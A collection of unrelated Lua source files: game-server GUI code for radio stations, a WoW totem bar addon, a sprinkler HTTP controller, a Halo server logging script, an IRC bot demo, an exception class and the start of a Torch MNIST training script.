guiGridListSetItemText(grid.defaultStations, row, col.order, defaultStations[i]["order"] or "--" , false, true)
end
addEventHandler( "onClientGUIDoubleClick", grid.defaultStations,
function( button )
if button == "left" then
local row, col = -1, -1
local row, col = guiGridListGetSelectedItem(grid.defaultStations)
if row ~= -1 and col ~= -1 then
if exports.mrp_integration:isPlayerLeadAdmin(localPlayer) then
local id = guiGridListGetItemText( grid.defaultStations , row, 1 )
local name = guiGridListGetItemText( grid.defaultStations , row, 2 )
local ip = guiGridListGetItemText( grid.defaultStations , row, 3 )
local state = guiGridListGetItemText( grid.defaultStations , row, 4 )
local order = guiGridListGetItemText( grid.defaultStations , row, 7 )
openNewStation(id, name, ip, state, order)
else
exports.mrp_global:playSoundError()
end
end
end
end,
false)
updateBottomBtns()
end
function updateDonorStations()
guiGridListClear(grid.donorStations)
local maxRow = #donorStations
for i = 1, maxRow do
local row = guiGridListAddRow(grid.donorStations)
guiGridListSetItemText(grid.donorStations, row, col2.id, donorStations[i]["id"] , false, true)
guiGridListSetItemText(grid.donorStations, row, col2.name, donorStations[i]["station_name"] , false, false)
guiGridListSetItemText(grid.donorStations, row, col2.ip, donorStations[i]["source"] , false, false)
guiGridListSetItemText(grid.donorStations, row, col2.status, (donorStations[i]["enabled"] == "1" and "Activated" or "Deactivated"), false, false)
guiGridListSetItemText(grid.donorStations, row, col2.owner, donorStations[i]["owner"] or "No-one" , false, false)
guiGridListSetItemText(grid.donorStations, row, col2.expireDate, donorStations[i]["expire_date"] or "Never" , false, false)
guiGridListSetItemText(grid.donorStations, row, col2.order, donorStations[i]["order"] or "--" , false, true)
end
addEventHandler( "onClientGUIDoubleClick", grid.donorStations,
function( button )
if button == "left" then
local row, col = -1, -1
local row, col = guiGridListGetSelectedItem(grid.donorStations)
if row ~= -1 and col ~= -1 then
local username = getElementData(localPlayer, "account:username")
local owner = guiGridListGetItemText( grid.donorStations , row, 5 )
if owner == username or exports.mrp_integration:isPlayerLeadAdmin(localPlayer) then
local id = guiGridListGetItemText( grid.donorStations , row, 1 )
local name = guiGridListGetItemText( grid.donorStations , row, 2 )
local ip = guiGridListGetItemText( grid.donorStations , row, 3 )
local state = guiGridListGetItemText( grid.donorStations , row, 4 )
local order = guiGridListGetItemText( grid.donorStations , row, 7 )
openNewStation(id, name, ip, state, order, true)
else
exports.mrp_global:playSoundError()
end
end
end
end,
false)
addEventHandler( "onClientGUIClick", grid.donorStations,
function( button )
if button == "left" then
local row, col = -1, -1
local row, col = guiGridListGetSelectedItem(grid.donorStations)
if row ~= -1 and col ~= -1 then
local username = getElementData(localPlayer, "account:username")
local owner = guiGridListGetItemText( grid.donorStations , row, 5 )
if owner == username then --or exports.integration:isPlayerLeadAdmin(localPlayer) then
local id = guiGridListGetItemText( grid.donorStations , row, 1 )
local name = guiGridListGetItemText( grid.donorStations , row, 2 )
local ip = guiGridListGetItemText( grid.donorStations , row, 3 )
local owner = guiGridListGetItemText( grid.donorStations , row, 5 )
local ex = guiGridListGetItemText( grid.donorStations , row, 6 )
guiSetVisible(gui.renew, true)
guiSetVisible(gui.buyNew, false)
stationToRenew = {id, name, ip, owner, ex}
else
guiSetVisible(gui.renew, false)
guiSetVisible(gui.buyNew, true)
stationToRenew = nil
end
end
end
end,
false)
end
function updateBottomBtns()
if exports.mrp_integration:isPlayerLeadAdmin(localPlayer) then
guiSetEnabled(gui.addNew, true)
guiSetEnabled(gui.refresh, true)
else
guiSetEnabled(gui.addNew, false)
guiSetEnabled(gui.refresh, false)
end
end
function openNewStation(id, name, ip, state, order, buyNew)
closeNewStation()
togRadioManager(false)
exports.mrp_global:playSoundSuccess()
local perk = true
local w, h = 400, 135
gui.wNewStation = guiCreateWindow(0, 0, w, h, "Yeni Istasyon Ekleme Arayüzü", false)
exports.mrp_global:centerWindow(gui.wNewStation)
local margin = 10
local lineH = 25
local col1 = 85
gui.l1 = guiCreateLabel(margin, margin, w-margin*2, lineH, "NEW STATION", false, gui.wNewStation)
guiSetFont(gui.l1, "default-bold-small")
guiLabelSetHorizontalAlign(gui.l1, "center", true)
guiLabelSetVerticalAlign(gui.l1, "center", true)
gui.l2 = guiCreateLabel(margin, margin+lineH, col1, lineH, "Station Name:", false, gui.wNewStation)
guiSetFont(gui.l2, "default-bold-small")
guiLabelSetVerticalAlign(gui.l2, "center", true)
gui.eName = guiCreateEdit(margin+col1, margin+lineH, w-margin*2-col1, lineH, name and name or "", false, gui.wNewStation)
gui.l3 = guiCreateLabel(margin, margin+lineH*2, col1, lineH, "Station IP:", false, gui.wNewStation)
guiSetFont(gui.l3, "default-bold-small")
guiLabelSetVerticalAlign(gui.l3, "center", true)
gui.eIP = guiCreateEdit(margin+col1, margin+lineH*2, w-margin*2-col1, lineH, ip and ip or "", false, gui.wNewStation)
local buttons = 5
local buttonW = (w-margin*2)/buttons
local moveCost = 0
gui.bMoveUp = guiCreateButton(margin, margin+lineH/2+lineH*3, buttonW , lineH, buyNew and "Move up\n("..moveCost.." GCs)" or "Move up",false,gui.wNewStation)
guiSetFont(gui.bMoveUp, buyNew and "default-small" or "default-bold-small")
addEventHandler("onClientGUIClick", gui.bMoveUp, function()
if source == gui.bMoveUp then
triggerServerEvent("moveStationPosition", localPlayer, id, name, order, true, buyNew)
exports.mrp_global:playSoundCreate()
closeNewStation()
end
end)
gui.bMoveDown = guiCreateButton(margin+buttonW, margin+lineH/2+lineH*3, buttonW , lineH, buyNew and "Move down\n("..moveCost.." GCs)" or "Move down",false,gui.wNewStation)
guiSetFont(gui.bMoveDown, buyNew and "default-small" or "default-bold-small")
addEventHandler("onClientGUIClick", gui.bMoveDown, function()
if source == gui.bMoveDown then
triggerServerEvent("moveStationPosition", localPlayer, id, name, order, false, buyNew)
exports.mrp_global:playSoundCreate()
closeNewStation()
end
end)
gui.bSubmit = guiCreateButton(margin+buttonW*2, margin+lineH/2+lineH*3, buttonW , lineH, "Create",false,gui.wNewStation)
guiSetFont(gui.bSubmit, "default-bold-small")
addEventHandler("onClientGUIClick", gui.bSubmit, function()
if source == gui.bSubmit then
local sName = guiGetText(gui.eName)
local sIP = guiGetText(gui.eIP)
if string.len(sName) < 1 or string.len(sIP) < 1 then
exports.mrp_global:playSoundError()
else
if guiGetText(gui.bSubmit) == "Save" then
triggerServerEvent("editStation", localPlayer, id, sName, sIP)
exports.mrp_global:playSoundCreate()
elseif guiGetText(gui.bSubmit) == "Create" then
triggerServerEvent("createNewStation", localPlayer, sName, sIP)
exports.mrp_global:playSoundCreate()
elseif guiGetText(gui.bSubmit) == "Purchase" then
triggerServerEvent("createNewStation", localPlayer, sName, sIP, true)
exports.mrp_global:playSoundCreate()
else
triggerServerEvent("togStation", localPlayer, id, guiGetText(gui.bSubmit))
exports.mrp_global:playSoundCreate()
end
closeNewStation()
end
end
end)
gui.bDelete = guiCreateButton(margin+buttonW*3, margin+lineH/2+lineH*3, buttonW , lineH, "Delete",false,gui.wNewStation)
guiSetFont(gui.bDelete, "default-bold-small")
addEventHandler("onClientGUIClick", gui.bDelete, function()
if source == gui.bDelete then
if id then
triggerServerEvent("deleteStation", localPlayer, id)
exports.mrp_global:playSoundCreate()
closeNewStation()
else
exports.mrp_global:playSoundError()
end
end
end)
gui.bClose1 = guiCreateButton(margin+buttonW*4, margin+lineH/2+lineH*3, buttonW , lineH, "Close",false,gui.wNewStation)
guiSetFont(gui.bClose1, "default-bold-small")
addEventHandler("onClientGUIClick", gui.bClose1, function()
if source == gui.bClose1 then
closeNewStation()
end
end)
if id then
guiSetEnabled(gui.bMoveDown, true)
guiSetEnabled(gui.bMoveUp, true)
guiSetText(gui.l1, "EDIT STATION #"..id)
else
guiSetEnabled(gui.bMoveDown, false)
guiSetEnabled(gui.bMoveUp, false)
guiSetEnabled(gui.bDelete, false)
if buyNew then
guiSetText(gui.l1, "PURCHASE NEW STATION")
else
guiSetText(gui.l1, "NEW STATION")
end
end
if state == "Activated" then
guiSetText(gui.bSubmit, "Deactivated")
elseif state == "Deactivated" then
guiSetText(gui.bSubmit, "Activated")
else
if buyNew then
guiSetText(gui.bSubmit, "Purchase")
else
guiSetText(gui.bSubmit, "Create")
end
end
local changeSubmitBtn = function ()
if id and (source == gui.eName or source == gui.eIP) then
guiSetText(gui.bSubmit, "Save")
end
end
addEventHandler("onClientGUIChanged", gui.eName, changeSubmitBtn)
addEventHandler("onClientGUIChanged", gui.eIP, changeSubmitBtn)
end
function closeNewStation()
if gui.wNewStation and isElement(gui.wNewStation) then
destroyElement(gui.wNewStation)
gui.wNewStation = nil
togRadioManager(true)
end
end
function renewStation(station)
closeRenewStation()
togRadioManager(false)
exports.mrp_global:playSoundSuccess()
local w, h = 400, 170
gui.wRenewStation = guiCreateWindow(0, 0, w, h, "Istasyon Yenileme Arayüzü", false)
exports.mrp_global:centerWindow(gui.wRenewStation)
local margin = 20
local lineH = 16
local col1 = w - margin*2
gui.l1 = guiCreateLabel(margin, margin, w-margin*2, lineH, "RENEW STATION", false, gui.wRenewStation)
guiSetFont(gui.l1, "default-bold-small")
guiLabelSetHorizontalAlign(gui.l1, "center", true)
guiLabelSetVerticalAlign(gui.l1, "center", true)
gui.l2 = guiCreateLabel(margin, margin+lineH, col1, lineH, "You're about to renew radio station ID#"..station[1]..":", false, gui.wRenewStation)
--guiSetFont(gui.l2, "default-bold-small")
guiLabelSetVerticalAlign(gui.l2, "center", true)
gui.l3 = guiCreateLabel(margin, margin+lineH*2, col1, lineH, "Station Name: "..station[2], false, gui.wRenewStation)
guiSetFont(gui.l3, "default-bold-small")
guiLabelSetVerticalAlign(gui.l3, "center", true)
gui.l4 = guiCreateLabel(margin, margin+lineH*3, col1, lineH, "Streaming URL: "..station[3], false, gui.wRenewStation)
guiSetFont(gui.l4, "default-bold-small")
guiLabelSetVerticalAlign(gui.l3, "center", true)
gui.l5 = guiCreateLabel(margin, margin+lineH*4, col1, lineH, "Owner: "..station[4], false, gui.wRenewStation)
guiSetFont(gui.l5, "default-bold-small")
guiLabelSetVerticalAlign(gui.l3, "center", true)
gui.l6 = guiCreateLabel(margin, margin+lineH*5, col1, lineH, "Expiration Date: "..station[5], false, gui.wRenewStation)
guiSetFont(gui.l6, "default-bold-small")
guiLabelSetVerticalAlign(gui.l3, "center", true)
local buttons = 4
local bH = 30
local buttonW = (w-margin*2)/buttons
local perk = true
local cost7 = 0
local cost30 = cost7*3
local cost90 = cost7*3*2
gui.b7days = guiCreateButton(margin, margin+lineH/2+lineH*6, buttonW , bH, "7 days\n("..cost7.." GCs)",false,gui.wRenewStation)
--guiSetFont(gui.b7days, "default-bold-small")
addEventHandler("onClientGUIClick", gui.b7days, function()
if source == gui.b7days then
triggerServerEvent("renewStation", localPlayer, station, 7)
exports.mrp_global:playSoundCreate()
closeRenewStation()
end
end)
gui.b30days = guiCreateButton(margin+buttonW, margin+lineH/2+lineH*6, buttonW , bH, "30 days\n("..cost30.." GCs)",false,gui.wRenewStation)
--guiSetFont(gui.b30days, "default-bold-small")
addEventHandler("onClientGUIClick", gui.b30days, function()
if source == gui.b30days then
triggerServerEvent("renewStation", localPlayer, station, 30)
exports.mrp_global:playSoundCreate()
closeRenewStation()
end
end)
gui.b90days = guiCreateButton(margin+buttonW*2, margin+lineH/2+lineH*6, buttonW , bH, "90 days\n("..cost90.." GCs)",false,gui.wRenewStation)
--guiSetFont(gui.b90days, "default-bold-small")
addEventHandler("onClientGUIClick", gui.b90days, function()
if source == gui.b90days then
triggerServerEvent("renewStation", localPlayer, station, 90)
exports.mrp_global:playSoundCreate()
closeRenewStation()
end
end)
gui.bClose1 = guiCreateButton(margin+buttonW*3, margin+lineH/2+lineH*6, buttonW , bH, "Close",false,gui.wRenewStation)
--guiSetFont(gui.bClose1, "default-bold-small")
addEventHandler("onClientGUIClick", gui.bClose1, function()
if source == gui.bClose1 then
closeRenewStation()
end
end)
end
function closeRenewStation()
if gui.wRenewStation and isElement(gui.wRenewStation) then
destroyElement(gui.wRenewStation)
gui.wRenewStation = nil
togRadioManager(true)
end
end
|
local K, C = unpack(KkthnxUI)
local Module = K:GetModule("Auras")
local _G = _G
local unpack = _G.unpack
local CreateFrame = _G.CreateFrame
local GetTotemInfo = _G.GetTotemInfo
local totems = {}
function Module:TotemBar_Init()
local margin = 6
local vertical = C["Auras"].VerticalTotems
local iconSize = C["Auras"].TotemSize
local width = vertical and (iconSize + margin * 2) or (iconSize * 4 + margin * 5)
local height = vertical and (iconSize * 4 + margin * 5) or (iconSize + margin * 2)
local totemBar = _G["KKUI_TotemBar"]
if not totemBar then
totemBar = CreateFrame("Frame", "KKUI_TotemBar", K.PetBattleHider)
end
totemBar:SetSize(width, height)
if not totemBar.mover then
totemBar.mover = K.Mover(totemBar, "Totembar", "Totems", { "BOTTOMRIGHT", UIParent, "BOTTOM", -450, 20 })
end
totemBar.mover:SetSize(width, height)
for i = 1, 4 do
local totem = totems[i]
if not totem then
totem = CreateFrame("Frame", nil, totemBar)
totem.CD = CreateFrame("Cooldown", nil, totem, "CooldownFrameTemplate")
totem.CD:SetPoint("TOPLEFT", totem, "TOPLEFT", 1, -1)
totem.CD:SetPoint("BOTTOMRIGHT", totem, "BOTTOMRIGHT", -1, 1)
totem.CD:SetReverse(true)
totem.Icon = totem:CreateTexture(nil, "ARTWORK")
totem.Icon:SetAllPoints()
totem.Icon:SetTexCoord(unpack(K.TexCoords))
totem:CreateBorder()
totem:SetAlpha(0)
totems[i] = totem
local blizzTotem = _G["TotemFrameTotem" .. i]
blizzTotem:SetParent(totem)
blizzTotem:SetAllPoints()
blizzTotem:SetAlpha(0)
totem.__owner = blizzTotem
end
totem:SetSize(iconSize, iconSize)
totem:ClearAllPoints()
if i == 1 then
totem:SetPoint("BOTTOMLEFT", margin, margin)
elseif vertical then
totem:SetPoint("BOTTOM", totems[i - 1], "TOP", 0, margin)
else
totem:SetPoint("LEFT", totems[i - 1], "RIGHT", margin, 0)
end
end
end
function Module:TotemBar_Update()
for i = 1, 4 do
local totem = totems[i]
local defaultTotem = totem.__owner
local slot = defaultTotem.slot
local haveTotem, _, start, dur, icon = GetTotemInfo(slot)
if haveTotem and dur > 0 then
totem.Icon:SetTexture(icon)
totem.CD:SetCooldown(start, dur)
totem.CD:Show()
totem:SetAlpha(1)
else
totem.Icon:SetTexture("")
totem.CD:Hide()
totem:SetAlpha(0)
end
end
end
function Module:CreateTotems()
if not C["Auras"].Totems then
return
end
Module:TotemBar_Init()
K:RegisterEvent("PLAYER_ENTERING_WORLD", Module.TotemBar_Update)
K:RegisterEvent("PLAYER_TOTEM_UPDATE", Module.TotemBar_Update)
end
|
local sprinklers = require("sprinklers")
local headers = require("headers")
local module = {}
function module.process(c, request)
print("Processing requests ...")
local _, _, method, req, major, minor = string.find(request, "([A-Z]+) (.+) HTTP/(%d).(%d)")
headers.buildHeader(c, 200, "json", false, false)
return executeCommand(req)
end
function executeCommand(req)
if(string.find(req,"/sprinkler/start/1")) then
sprinklers.startSprinkler(1)
end
if(string.find(req,"/sprinkler/start/2")) then
sprinklers.startSprinkler(2)
end
if(string.find(req,"/sprinkler/stop/1")) then
sprinklers.stopSprinkler(1)
end
if(string.find(req,"/sprinkler/stop/2")) then
sprinklers.stopSprinkler(2)
end
return sprinklers.status()
end
return module
|
dependency 'channelfeed'
client_script 'obituary.lua'
export 'printObituary'
files 'obituary.css'
|
--[[
--=====================================================================================================--
Script Name: Advanced Server Logging, for SAPP (PC & CE)
This script will log:
* Join & Quit events
* Game Start Events
* Game End Events
* Script Load & Script Unload Events
* Global Chat
* Team Chat
* Vehicle Chat
* Chat Commands (w/password filtering)
* Rcon/Console Commands (w/password filtering)
> Chat Logs will be simultaneously saved to date.FullLog.txt and date.Chat.txt
> Command Logs will be simultaneously saved to date.FullLog.txt and date.Commands.txt
> This script will also censor passwords in command logs.
Copyright (c) 2019, Jericho Crosby <jericho.crosby227@gmail.com>
* Notice: You can use this document subject to the following conditions:
https://github.com/Chalwk77/Halo-Scripts-Phasor-V2-/blob/master/LICENSE
* Written by Jericho Crosby (Chalwk)
--=====================================================================================================--
]]--
api_version = "1.12.0.0"
-- Configuration Starts --
local full_log_path = "sapp\\%date%.FullLog.txt"
--[[
These variables in can be used in on_join/on_quit & on_command/on_chat messages:
%name% = player name
%id% = player id
%ip% = player ip
%hash% = player hash
%level% = player admin level
%state% = admin status (true/false)
%message% = (Chat/Command output)
%total% = Total number of players currently online.
]]
local on_join = "[JOIN] Name: %name% ID: [%id%] IP: [%ip%] CD-Key Hash: [%hash%] Total Players: [%total%/16]"
local on_quit = "[QUIT] Name: %name% ID: [%id%] IP: [%ip%] CD-Key Hash: [%hash%] Total Players: [%total%/16]"
local on_load = "[SCRIPT LOAD] Advanced Logger was loaded"
local on_reload = "[SERVER] SAPP Was Reloaded"
local on_unload = "[SCRIPT UNLOAD] Advanced Logger was unloaded"
local on_game_end = "[GAME END] The Game has ended (post game carnage report showing)"
local on_game_start = "[GAME START] A new game has started on [%map% | mode: %mode%]"
local chat_logs_path = "sapp\\%date%.Chat.txt"
local on_chat = {
[0] = "[GLOBAL] %name% ID: [%id%] IP: [%ip%]: %message%",
[1] = "[TEAM] %name% ID: [%id%] IP: [%ip%]: %message%",
[2] = "[VEHICLE] %name% ID: [%id%] IP: [%ip%]: %message%",
[3] = "[UNKNOWN] %name% ID: [%id%] IP: [%ip%]: %message%",
}
local command_logs_path = "sapp\\%date%.Commands.txt"
local on_command = {
[0] = "[CONSOLE COMMAND] [Admin = %state% | Level: %level%] %name% ID: [%id%] IP: [%ip%]: %message%",
[1] = "[RCON COMMAND] [Admin = %state% | Level: %level%] %name% ID: [%id%] IP: [%ip%]: %message%",
[2] = "[CHAT COMMAND] [Admin = %state% | Level: %level%] %name% ID: [%id%] IP: [%ip%]: /%message%",
[3] = "[CENSORED] %message%" -- message will be replaced with "censor_character"
}
-- Any command containing these words will be censored:
local censored_content = {
censor_character = "*****",
"login",
"admin_add",
"change_password",
"admin_change_pw",
"admin_add_manually",
}
-- If true, player info will be printed to the server console when someone joins/quits:
local print_player_info = true
local player_info = {
"Player: %name%",
"CD Hash: %hash%",
"IP Address: %ip%",
"Index ID: %id%",
"Privilege Level: %level%",
}
-- Configuration Ends --
local players = {}
local gsub, gmatch, sub = string.gsub, string.gmatch, string.sub
local lower, find = string.lower, string.find
function OnScriptLoad()
register_callback(cb["EVENT_JOIN"], "OnPlayerConnect")
register_callback(cb["EVENT_LEAVE"], "OnPlayerDisconnect")
register_callback(cb["EVENT_CHAT"], "OnServerChat")
register_callback(cb["EVENT_COMMAND"], "OnServerCommand")
register_callback(cb["EVENT_GAME_START"], "OnGameStart")
register_callback(cb["EVENT_GAME_END"], "OnGameEnd")
register_callback(cb['EVENT_PREJOIN'], "OnPlayerPrejoin")
if (get_var(0, "$gt") ~= "n/a") then
players = { }
SaveClientData(0)
for i = 1, 16 do
if player_present(i) then
SaveClientData(i)
end
end
Write(on_reload, full_log_path)
else
Write(on_load, full_log_path)
end
end
function OnGameStart()
if (get_var(0, "$gt") ~= "n/a") then
local map = get_var(0, "$map")
local mode = get_var(0, "$mode")
local log = gsub(gsub(on_game_start, "%%map%%", map), "%%mode%%", mode)
Write(log, full_log_path)
Write(log, chat_logs_path)
Write(log, command_logs_path)
SaveClientData(0)
end
end
function OnGameEnd()
local map = get_var(0, "$map")
local mode = get_var(0, "$mode")
local log = gsub(gsub(on_game_end, "%%map%%", map), "%%mode%%", mode)
Write(log, full_log_path)
Write(log, chat_logs_path)
Write(log, command_logs_path)
end
function OnServerChat(PlayerIndex, Message, type)
if (type ~= 6) then
local msg = TextSplit(Message)
if (#msg == 0 or msg == nil) then
return
elseif not isCommand(msg) then
local t = players[PlayerIndex]
if (t) then
local log = on_chat[type]
if (log) then
t["%%message%%"], t["%%total%%"] = Message, get_var(0, "$pn")
for k, v in pairs(t) do
log = gsub(log, k, v)
end
cprint(log, 11)
Write(log, full_log_path)
Write(log, chat_logs_path)
t["%%message%%"] = ""
end
end
end
end
end
function OnServerCommand(PlayerIndex, Command, Environment, Password)
local cmd = TextSplit(Command)
if (#cmd == 0 or cmd == nil) then
return
else
local t = players[PlayerIndex]
if (t) then
t["%%message%%"], t["%%total%%"] = Command, get_var(0, "$pn")
local content = CensoredContent(Command)
if (content ~= nil) then
t["%%message%%"] = content
Environment = 3
end
local log = on_command[Environment]
if (log) then
for k, v in pairs(t) do
log = gsub(log, k, v)
end
cprint(log, 11)
Write(log, full_log_path)
Write(log, command_logs_path)
end
t["%%message%%"] = ""
end
end
end
function OnPlayerPrejoin(PlayerIndex)
SaveClientData(PlayerIndex)
if (print_player_info) then
cprint("________________________________________________________________________________", 10)
cprint("Player attempting to connect to the server...", 13)
local t = players[PlayerIndex]
if (t) then
t = t.all_info
for i = 1, #t do
cprint(t[i], 10)
end
end
end
end
local function QuitJoin(PlayerIndex, Type)
local log = ""
local t = players[PlayerIndex]
if (t) then
local time_stamp = os.date("%A %d %B %Y - %X")
if (Type == 1) then
log = on_join
if (print_player_info) then
cprint("Join Time: " .. time_stamp, 10)
cprint("Status: " .. t["%%name%%"] .. " connected successfully.", 13)
cprint("________________________________________________________________________________", 10)
end
elseif (Type == 2) then
if (print_player_info) then
cprint("________________________________________________________________________________", 12)
t["%%total%%"] = get_var(0, "$pn") - 1
local tab = t.all_info
for i = 1, #tab do
cprint(tab[i], 12)
end
cprint("Quit Time: " .. time_stamp, 12)
cprint("________________________________________________________________________________", 12)
end
log = on_quit
players[PlayerIndex] = nil
end
for k, v in pairs(t) do
log = gsub(log, k, v)
end
Write(log, full_log_path)
end
end
function OnPlayerConnect(PlayerIndex)
QuitJoin(PlayerIndex, 1)
end
function OnPlayerDisconnect(PlayerIndex)
QuitJoin(PlayerIndex, 2)
end
function SaveClientData(PlayerIndex)
local p = tonumber(PlayerIndex)
local level = tonumber(get_var(p, "$lvl"))
local state = tostring((level >= 1))
local name = get_var(p, "$name")
local ip = get_var(p, "$ip")
local hash = get_var(p, "$hash")
if (p == 0) then
name = "SERVER"
ip = "N/A"
hash = "N/A"
state = "true"
end
players[p] = {
["%%id%%"] = p,
["%%name%%"] = name,
["%%ip%%"] = ip,
["%%hash%%"] = hash,
["%%level%%"] = level,
["%%message%%"] = "",
["%%state%%"] = state,
["%%total%%"] = get_var(0, "$pn")
}
if (print_player_info) then
local t = {}
for i = 1, #player_info do
t[#t + 1] = player_info[i]
end
for k, v in pairs(players[p]) do
for i = 1, #t do
t[i] = gsub(t[i], k, v)
end
end
players[p].all_info = t
end
end
function Write(Content, Path)
local Date = os.date("[%d/%m/%Y]"):gsub('[:/]','-')
local path = gsub(Path, "%%date%%",Date)
local file = io.open(path, "a+")
if (file) then
local timestamp = os.date("[%d/%m/%Y - %H:%M:%S]")
file:write(timestamp .. " " .. Content .. "\n")
end
file:close()
end
function TextSplit(Message)
local args, index = {}, 1
for Params in gmatch(Message, "([^%s]+)") do
args[index] = Params
index = index + 1
end
return args
end
function isCommand(table)
if (sub(table[1], 1, 1) == "/" or sub(table[1], 1, 1) == "\\") then
return true
end
end
function CensoredContent(Message)
local words = censored_content
for i = 1, #words do
local word = words[i]
if find(Message:lower(), word) then
return words.censor_character
end
end
return nil
end
function OnScriptUnload()
Write(on_unload, full_log_path)
end
|
#!/usr/bin/lua
local irc = require "irc"
local dcc = require "irc.dcc"
irc.DEBUG = true
local ip_prog = io.popen("get_ip")
local ip = ip_prog:read()
ip_prog:close()
irc.set_ip(ip)
local function print_state()
for chan in irc.channels() do
print(chan..": Channel ops: "..table.concat(chan:ops(), " "))
print(chan..": Channel voices: "..table.concat(chan:voices(), " "))
print(chan..": Channel normal users: "..table.concat(chan:users(), " "))
print(chan..": All channel members: "..table.concat(chan:members(), " "))
end
end
local function on_connect()
print("Joining channel #doytest...")
irc.join("#doytest")
print("Joining channel #doytest2...")
irc.join("#doytest2")
end
irc.register_callback("connect", on_connect)
local function on_me_join(chan)
print("Join to " .. chan .. " complete.")
print(chan .. ": Channel type: " .. chan.chanmode)
if chan.topic.text and chan.topic.text ~= "" then
print(chan .. ": Channel topic: " .. chan.topic.text)
print(" Set by " .. chan.topic.user ..
" at " .. os.date("%c", chan.topic.time))
end
irc.act(chan.name, "is here")
print_state()
end
irc.register_callback("me_join", on_me_join)
local function on_join(chan, user)
print("I saw a join to " .. chan)
if tostring(user) ~= "doylua" then
irc.say(tostring(chan), "Hi, " .. user)
end
print_state()
end
irc.register_callback("join", on_join)
local function on_part(chan, user, part_msg)
print("I saw a part from " .. chan .. " saying " .. part_msg)
print_state()
end
irc.register_callback("part", on_part)
local function on_nick_change(new_nick, old_nick)
print("I saw a nick change: " .. old_nick .. " -> " .. new_nick)
print_state()
end
irc.register_callback("nick_change", on_nick_change)
local function on_kick(chan, user)
print("I saw a kick in " .. chan)
print_state()
end
irc.register_callback("kick", on_kick)
local function on_quit(chan, user)
print("I saw a quit from " .. chan)
print_state()
end
irc.register_callback("quit", on_quit)
local function whois_cb(cb_data)
print("WHOIS data for " .. cb_data.nick)
if cb_data.user then print("Username: " .. cb_data.user) end
if cb_data.host then print("Host: " .. cb_data.host) end
if cb_data.realname then print("Realname: " .. cb_data.realname) end
if cb_data.server then print("Server: " .. cb_data.server) end
if cb_data.serverinfo then print("Serverinfo: " .. cb_data.serverinfo) end
if cb_data.away_msg then print("Awaymsg: " .. cb_data.away_msg) end
if cb_data.is_oper then print(nick .. "is an IRCop") end
if cb_data.idle_time then print("Idletime: " .. cb_data.idle_time) end
if cb_data.channels then
print("Channel list for " .. cb_data.nick .. ":")
for _, channel in ipairs(cb_data.channels) do print(channel) end
end
end
local function serverversion_cb(cb_data)
print("VERSION data for " .. cb_data.server)
print("Version: " .. cb_data.version)
print("Comments: " .. cb_data.comments)
end
local function ping_cb(cb_data)
print("CTCP PING for " .. cb_data.nick)
print("Roundtrip time: " .. cb_data.time .. "s")
end
local function time_cb(cb_data)
print("CTCP TIME for " .. cb_data.nick)
print("Localtime: " .. cb_data.time)
end
local function version_cb(cb_data)
print("CTCP VERSION for " .. cb_data.nick)
print("Version: " .. cb_data.version)
end
local function stime_cb(cb_data)
print("TIME for " .. cb_data.server)
print("Server time: " .. cb_data.time)
end
local function on_channel_msg(chan, from, msg)
if from == "doy" then
if msg == "leave" then
irc.part(chan.name)
return
elseif msg:sub(1, 3) == "op " then
chan:op(msg:sub(4))
return
elseif msg:sub(1, 5) == "deop " then
chan:deop(msg:sub(6))
return
elseif msg:sub(1, 6) == "voice " then
chan:voice(msg:sub(7))
return
elseif msg:sub(1, 8) == "devoice " then
chan:devoice(msg:sub(9))
return
elseif msg:sub(1, 5) == "kick " then
chan:kick(msg:sub(6))
return
elseif msg:sub(1, 5) == "send " then
dcc.send(from, msg:sub(6))
return
elseif msg:sub(1, 6) == "whois " then
irc.whois(whois_cb, msg:sub(7))
return
elseif msg:sub(1, 8) == "sversion" then
irc.server_version(serverversion_cb)
return
elseif msg:sub(1, 5) == "ping " then
irc.ctcp_ping(ping_cb, msg:sub(6))
return
elseif msg:sub(1, 5) == "time " then
irc.ctcp_time(time_cb, msg:sub(6))
return
elseif msg:sub(1, 8) == "version " then
irc.ctcp_version(version_cb, msg:sub(9))
return
elseif msg:sub(1, 5) == "stime" then
irc.server_time(stime_cb)
return
elseif msg:sub(1, 6) == "trace " then
irc.trace(trace_cb, msg:sub(7))
return
elseif msg:sub(1, 5) == "trace" then
irc.trace(trace_cb)
return
end
end
if from ~= "doylua" then
irc.say(chan.name, from .. ": " .. msg)
end
end
irc.register_callback("channel_msg", on_channel_msg)
local function on_private_msg(from, msg)
if from == "doy" then
if msg == "leave" then
irc.quit("gone")
return
elseif msg:sub(1, 5) == "send " then
dcc.send(from, msg:sub(6))
return
end
end
if from ~= "doylua" then
irc.say(from, msg)
end
end
irc.register_callback("private_msg", on_private_msg)
local function on_channel_act(chan, from, msg)
irc.act(chan.name, "jumps on " .. from)
end
irc.register_callback("channel_act", on_channel_act)
local function on_private_act(from, msg)
irc.act(from, "jumps on you")
end
irc.register_callback("private_act", on_private_act)
local function on_op(chan, from, nick)
print(nick .. " was opped in " .. chan .. " by " .. from)
print_state()
end
irc.register_callback("op", on_op)
local function on_deop(chan, from, nick)
print(nick .. " was deopped in " .. chan .. " by " .. from)
print_state()
end
irc.register_callback("deop", on_deop)
local function on_voice(chan, from, nick)
print(nick .. " was voiced in " .. chan .. " by " .. from)
print_state()
end
irc.register_callback("voice", on_voice)
local function on_devoice(chan, from, nick)
print(nick .. " was devoiced in " .. chan .. " by " .. from)
print_state()
end
irc.register_callback("devoice", on_devoice)
local function on_dcc_send()
return true
end
irc.register_callback("dcc_send", on_dcc_send)
irc.connect{network = "irc.libera.chat", nick = "doylua"}
|
---
-- @author wesen
-- @copyright 2018-2019 wesen <wesen-ac@web.de>
-- @release 0.1
-- @license MIT
--
local Object = require "classic"
---
-- Error exception for the error() and pcall() functions.
-- Classes that extend this class must implement a getMessage() method.
--
-- @type Exception
--
local Exception = Object:extend()
-- Getters and Setters
---
-- Returns the message.
--
-- @treturn string The message
--
function Exception:getMessage()
end
return Exception
|
-- train.lua
-- Zdeněk Janeček, 2016 (ycdmdj@gmail.com)
--
-- University of West Bohemia
local mnist = require 'mnist'
require 'classrbm'
require 'plot_stats'
require 'image'
cmd = torch.CmdLine()
cmd:text()
cmd:text('Train a ClassRBM MNIST digit classificator.')
cmd:text()
cmd:text('Options')
-- data
cmd:option('-prefix', '', 'prefix of this run')
cmd:option('-v', false, 'verbose mode')
-- model params
cmd:text('Model parameters')
cmd:option('-n_visible', 28*28, 'RBM hidden layer size.')
cmd:option('-n_hidden', 6000, 'RBM hidden layer size.')
cmd:option('-n_class', 10, 'Number of target classes')
cmd:text('Optimalization parameters')
-- optimization
